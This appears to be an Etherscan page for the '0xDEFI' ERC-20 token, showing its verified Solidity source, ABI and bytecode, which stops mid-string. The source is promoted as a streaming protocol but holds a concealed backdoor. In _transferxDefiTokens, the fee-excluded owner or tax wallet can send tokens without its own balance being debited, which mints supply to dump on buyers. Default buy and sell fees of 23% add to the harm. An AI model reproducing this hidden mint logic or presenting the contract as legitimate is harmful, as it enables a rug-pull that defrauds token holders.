ETH Price: $3,283.80 (-1.42%)

Token

0xDEFI (0xDEFI)
 

Overview

Max Total Supply

1,000,000,000 0xDEFI

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,053,630.605721906 0xDEFI

Value
$0.00
0x0b6a06C07C58d13b6C725DbDB9CD1E2f6baC5527
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
xDefi

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-28
*/

// SPDX-License-Identifier: Unlicensed

/**
0xDefi is a revolutionary asset streaming protocol that brings subscriptions, salaries, vesting, and rewards to DAOs and crypto-native businesses worldwide. 

Website: https://www.0xdefi.pro
Telegram: https://t.me/zeroxdefi_eth
Twitter: https://twitter.com/zeroxdefi_eth
Dapp: https://app.0xdefi.pro
*/

pragma solidity 0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract xDefi is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    uint8 private countxDefiTx = 0;
    uint8 private swapxDefiTrigger = 2; 
    uint256 public maxxDefiFee = 12; 

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 private _totalFee = 2300;
    uint256 public _buyFee = 23;
    uint256 public _sellFee = 23;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    string private _name = unicode"0xDEFI"; 
    string private _symbol = unicode"0xDEFI";  

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address xDefiWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(xDefiWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToxDefiWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getxDefiValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }
    
    function removeAllxDefiFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }

    function restoreAllxDefiFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transferxDefiTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getxDefiValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapxDefiAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapxDefiForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToxDefiWallet(_taxAddress,contractETH);
    }
            
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countxDefiTx >= swapxDefiTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countxDefiTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapxDefiAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }

    receive() external payable {}
    
    function swapxDefiForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllxDefiFee();
            } else {
                countxDefiTx++;
            }
        _transferxDefiTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllxDefiFee();
    }
        
    function removexDefiLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 300;
        _buyFee = 3; 
        _sellFee = 3; 
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"xDefiWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxxDefiFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removexDefiLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f805460ff60a01b1916600960a01b1790819055620000309060ff600160a01b90910416600a62000546565b6200004090633b9aca006200055d565b6001819055600380546001600160a01b03191661dead179055600580546202000160a81b62ffffff60a81b19909116179055600c600655606490620000879060026200055d565b62000093919062000577565b600755620186a0600154620000a9919062000577565b6008556007546009556108fc600a556017600b556017600c55600a54600d55600b54600e55600c54600f556040518060400160405280600681526020016530784445464960d01b8152506013908162000103919062000637565b5060408051808201909152600681526530784445464960d01b602082015260149062000130908262000637565b503480156200013d575f80fd5b50604051620019f2380380620019f28339810160408190526200016091620006ff565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360015460105f620001b65f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f2093909355600280546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000239573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025f9190620006ff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d19190620006ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200031c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003429190620006ff565b600580546001600160a01b03199081166001600160a01b039384161790915560048054909116918316919091179055600160125f620003885f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560025490911681526012909252902080549091166001179055620003e05f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200042791815260200190565b60405180910390a3505062000727565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200048b57815f19048211156200046f576200046f62000437565b808516156200047d57918102915b93841c939080029062000450565b509250929050565b5f82620004a35750600162000540565b81620004b157505f62000540565b8160018114620004ca5760028114620004d557620004f5565b600191505062000540565b60ff841115620004e957620004e962000437565b50506001821b62000540565b5060208310610133831016604e8410600b84101617156200051a575081810a62000540565b6200052683836200044b565b805f19048211156200053c576200053c62000437565b0290505b92915050565b5f6200055660ff84168362000493565b9392505050565b808202811582820484141762000540576200054062000437565b5f826200059257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620005c057607f821691505b602082108103620005df57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000632575f81815260208120601f850160051c810160208610156200060d5750805b601f850160051c820191505b818110156200062e5782815560010162000619565b5050505b505050565b81516001600160401b0381111562000653576200065362000597565b6200066b81620006648454620005ab565b84620005e5565b602080601f831160018114620006a1575f8415620006895750858301515b5f19600386901b1c1916600185901b1785556200062e565b5f85815260208120601f198616915b82811015620006d157888601518255948401946001909101908401620006b0565b5085821015620006ef57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000710575f80fd5b81516001600160a01b038116811462000556575f80fd5b6112bd80620007355f395ff3fe60806040526004361061013f575f3560e01c806349bd5a5e116100b357806378109e541161006d57806378109e54146103845780638da5cb5b1461039957806395d89b41146103b5578063a9059cbb146103c9578063dd62ed3e146103e8578063f2fde38b1461042c575f80fd5b806349bd5a5e146102ba5780634a74bb02146102d9578063590f897e146102f957806370a082311461030e578063715018a614610342578063768dc71014610356575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063243f2af514610266578063313ce5671461027b57806340b9a54b146102a5575f80fd5b806304a032081461014a57806306fdde0314610160578063095ea7b31461018a57806309fbb48b146101b95780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044b565b005b34801561016b575f80fd5b50610174610494565b6040516101819190610faa565b60405180910390f35b348015610195575f80fd5b506101a96101a436600461100c565b610524565b6040519015158152602001610181565b3480156101c4575f80fd5b506101ce60085481565b604051908152602001610181565b3480156101e7575f80fd5b506004546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610181565b34801561021e575f80fd5b506001546101ce565b348015610232575f80fd5b506005546101a990600160a01b900460ff1681565b348015610252575f80fd5b506101a9610261366004611036565b61053a565b348015610271575f80fd5b506101ce60065481565b348015610286575f80fd5b505f54600160a01b900460ff1660405160ff9091168152602001610181565b3480156102b0575f80fd5b506101ce600b5481565b3480156102c5575f80fd5b506005546101fb906001600160a01b031681565b3480156102e4575f80fd5b506005546101a990600160a81b900460ff1681565b348015610304575f80fd5b506101ce600c5481565b348015610319575f80fd5b506101ce610328366004611074565b6001600160a01b03165f9081526010602052604090205490565b34801561034d575f80fd5b5061015e6105a1565b348015610361575f80fd5b506101a9610370366004611074565b60126020525f908152604090205460ff1681565b34801561038f575f80fd5b506101ce60075481565b3480156103a4575f80fd5b505f546001600160a01b03166101fb565b3480156103c0575f80fd5b50610174610612565b3480156103d4575f80fd5b506101a96103e336600461100c565b610621565b3480156103f3575f80fd5b506101ce61040236600461108f565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b348015610437575f80fd5b5061015e610446366004611074565b61062d565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906110c6565b60405180910390fd5b5f1960075561012c600a556003600b819055600c55565b6060601380546104a3906110fb565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf906110fb565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b5050505050905090565b5f610530338484610714565b5060015b92915050565b5f6105468484846107d4565b610597843361059285604051806060016040528060288152602001611260602891396001600160a01b038a165f9081526011602090815260408083203384529091529020549190610b3b565b610714565b5060019392505050565b5f546001600160a01b031633146105ca5760405162461bcd60e51b8152600401610474906110c6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060601480546104a3906110fb565b5f6105303384846107d4565b5f546001600160a01b031633146106565760405162461bcd60e51b8152600401610474906110c6565b6001600160a01b0381166106bb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610474565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061073457506001600160a01b03821615155b6107745760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610474565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107ff57506002546001600160a01b03838116911614155b801561081457506001600160a01b0382163014155b801561082e57506005546001600160a01b03838116911614155b801561084857506003546001600160a01b03838116911614155b801561086157505f546001600160a01b03848116911614155b156108ec576001600160a01b0382165f9081526010602052604090205460075461088b8383611147565b11156108ea5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610474565b505b6001600160a01b0383161580159061090c57506001600160a01b03821615155b6109505760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610474565b5f81116109ad5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610474565b60055460ff600160b81b82048116600160b01b90920416108015906109d3575060085481115b80156109e95750600554600160a01b900460ff16155b8015610a0d57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610a2657506005546001600160a01b038381169116145b8015610a3b5750600554600160a81b900460ff165b15610a6d576005805460ff60b01b19169055305f908152601060205260409020548015610a6b57610a6b81610b66565b505b6001600160a01b0383165f9081526012602052604090205460019060ff1680610aad57506001600160a01b0383165f9081526012602052604090205460ff165b80610adf57506005546001600160a01b03858116911614801590610adf57506005546001600160a01b03848116911614155b15610aeb57505f610b29565b6005546001600160a01b0390811690851603610b0c57600b54600a55610b29565b6005546001600160a01b0390811690841603610b2957600c54600a555b610b3584848484610bab565b50505050565b5f8184841115610b5e5760405162461bcd60e51b81526004016104749190610faa565b505050900390565b6005805460ff60a01b1916600160a01b179055610b8281610c18565b6002544790610b9a906001600160a01b031682610d80565b50506005805460ff60a01b19169055565b80610bbd57610bb8610db8565b610bf1565b60058054600160b01b900460ff16906016610bd78361115a565b91906101000a81548160ff021916908360ff160217905550505b610bfc848484610dfc565b80610b3557610b35600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4b57610c4b611178565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cdf919061118c565b81600181518110610cf257610cf2611178565b6001600160a01b039283166020918202929092010152600454610d189130911684610714565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d4f9186915f91879130914291016111a7565b5f604051808303815f87803b158015610d66575f80fd5b505af1158015610d78573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610db3573d5f803e3d5ffd5b505050565b600a54158015610dc85750600b54155b8015610dd45750600c54155b15610ddb57565b600b8054600e55600c8054600f55600a8054600d555f928390559082905555565b5f80610e0783610f3c565b6001600160a01b0387165f9081526012602090815260408083205460075460109093529083205494965092945060ff90921692919091111590828015610e4a5750815b90508015610e62575f9350610e5f8587611216565b95505b6001600160a01b0388165f90815260106020526040902054610e849087610f77565b6001600160a01b03808a165f908152601060205260408082209390935590891681522054610eb29086610f89565b6001600160a01b0388165f90815260106020526040808220929092553081522054610edd9085610f89565b305f9081526010602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f5f6064610f59600a5487610f9490919063ffffffff16565b90610f9f565b90505f610f6c8583610f77565b959194509092505050565b5f610f828284611216565b9392505050565b5f610f828284611147565b5f610f828284611229565b5f610f828284611240565b5f6020808352835180828501525f5b81811015610fd557858101830151858201604001528201610fb9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611009575f80fd5b50565b5f806040838503121561101d575f80fd5b823561102881610ff5565b946020939093013593505050565b5f805f60608486031215611048575f80fd5b833561105381610ff5565b9250602084013561106381610ff5565b929592945050506040919091013590565b5f60208284031215611084575f80fd5b8135610f8281610ff5565b5f80604083850312156110a0575f80fd5b82356110ab81610ff5565b915060208301356110bb81610ff5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061110f57607f821691505b60208210810361112d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561053457610534611133565b5f60ff821660ff810361116f5761116f611133565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561119c575f80fd5b8151610f8281610ff5565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111f55784516001600160a01b0316835293830193918301916001016111d0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561053457610534611133565b808202811582820484141761053457610534611133565b5f8261125a57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b0393c02e95e75d11b8b34165ef60db039c043c438b63d684c8578f22aefcac64736f6c63430008150033000000000000000000000000100f3f03d4c9ff65a94ab4ec0e7014ca9d7f48d8

Deployed Bytecode

0x60806040526004361061013f575f3560e01c806349bd5a5e116100b357806378109e541161006d57806378109e54146103845780638da5cb5b1461039957806395d89b41146103b5578063a9059cbb146103c9578063dd62ed3e146103e8578063f2fde38b1461042c575f80fd5b806349bd5a5e146102ba5780634a74bb02146102d9578063590f897e146102f957806370a082311461030e578063715018a614610342578063768dc71014610356575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063243f2af514610266578063313ce5671461027b57806340b9a54b146102a5575f80fd5b806304a032081461014a57806306fdde0314610160578063095ea7b31461018a57806309fbb48b146101b95780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61044b565b005b34801561016b575f80fd5b50610174610494565b6040516101819190610faa565b60405180910390f35b348015610195575f80fd5b506101a96101a436600461100c565b610524565b6040519015158152602001610181565b3480156101c4575f80fd5b506101ce60085481565b604051908152602001610181565b3480156101e7575f80fd5b506004546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610181565b34801561021e575f80fd5b506001546101ce565b348015610232575f80fd5b506005546101a990600160a01b900460ff1681565b348015610252575f80fd5b506101a9610261366004611036565b61053a565b348015610271575f80fd5b506101ce60065481565b348015610286575f80fd5b505f54600160a01b900460ff1660405160ff9091168152602001610181565b3480156102b0575f80fd5b506101ce600b5481565b3480156102c5575f80fd5b506005546101fb906001600160a01b031681565b3480156102e4575f80fd5b506005546101a990600160a81b900460ff1681565b348015610304575f80fd5b506101ce600c5481565b348015610319575f80fd5b506101ce610328366004611074565b6001600160a01b03165f9081526010602052604090205490565b34801561034d575f80fd5b5061015e6105a1565b348015610361575f80fd5b506101a9610370366004611074565b60126020525f908152604090205460ff1681565b34801561038f575f80fd5b506101ce60075481565b3480156103a4575f80fd5b505f546001600160a01b03166101fb565b3480156103c0575f80fd5b50610174610612565b3480156103d4575f80fd5b506101a96103e336600461100c565b610621565b3480156103f3575f80fd5b506101ce61040236600461108f565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b348015610437575f80fd5b5061015e610446366004611074565b61062d565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906110c6565b60405180910390fd5b5f1960075561012c600a556003600b819055600c55565b6060601380546104a3906110fb565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf906110fb565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b5050505050905090565b5f610530338484610714565b5060015b92915050565b5f6105468484846107d4565b610597843361059285604051806060016040528060288152602001611260602891396001600160a01b038a165f9081526011602090815260408083203384529091529020549190610b3b565b610714565b5060019392505050565b5f546001600160a01b031633146105ca5760405162461bcd60e51b8152600401610474906110c6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060601480546104a3906110fb565b5f6105303384846107d4565b5f546001600160a01b0316331